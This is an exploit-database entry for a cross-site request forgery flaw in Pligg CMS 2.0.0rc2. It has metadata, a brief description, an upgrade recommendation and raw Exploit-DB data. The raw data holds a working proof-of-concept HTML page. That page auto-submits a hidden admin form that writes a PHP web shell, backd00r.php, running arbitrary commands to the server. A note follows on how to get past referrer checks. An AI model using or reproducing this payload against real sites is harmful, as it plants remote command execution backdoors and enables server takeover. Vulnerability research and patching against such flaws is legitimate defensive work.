Pligg CMS - CSRF Vulnerability

vendor:

Pligg CMS

by:

DaOne

8,8

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: Pligg CMS

Affected Version From: 2.0.0rc2

Affected Version To: 2.0.0rc2

Patch Exists: YES

Related CWE: N/A

CPE: a:pligg:pligg_cms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2020

Pligg CMS – CSRF Vulnerability

A CSRF vulnerability exists in Pligg CMS versions 2.0.0rc2 and prior. An attacker can create a malicious HTML page that when visited by an authenticated user, can create a file with arbitrary content on the server. The malicious HTML page contains a form with hidden fields that when submitted, will create a file with the content specified in the 'updatedfile' field. The file is created in the '/var/www/html/pligg/' directory with the name specified in the 'the_file2' field.

Mitigation:

The vendor recommends to upgrade to the latest version of Pligg CMS.

Source

Exploit-DB raw data:

---------------------------------------------------
# Exploit Title: Pligg CMS - CSRF Vulnerability
# Author: DaOne
# Vendor Homepage: http://pligg.com/
# Download link: https://github.com/Pligg/pligg-cms/archive/2.0.0rc2.zip
# Category: webapps/php
# Version: 2.0.0rc2 + old versions
---------------------------------------------------

-Create File by CSRF Exploit-
<html>
<body onload="document.form.submit();">
<form action="http://[target]/pligg/admin/admin_editor.php" method="post" name="form">
<input type="hidden" name="updatedfile" value="<?php system($_REQUEST['cmd']); ?>">
<input type="hidden" name="the_file2" value="/var/www/html/pligg/backd00r.php">
<input type="hidden" name="isempty" value="1">
<input type="hidden" name="save" value="Save+Changes">
</form>
</body>
</html>

# Exploit-DB Note:
# If getting a Wrong Referrer error, use Live HTTP Headers or Tamper Date plugin
# to mitigate the issue.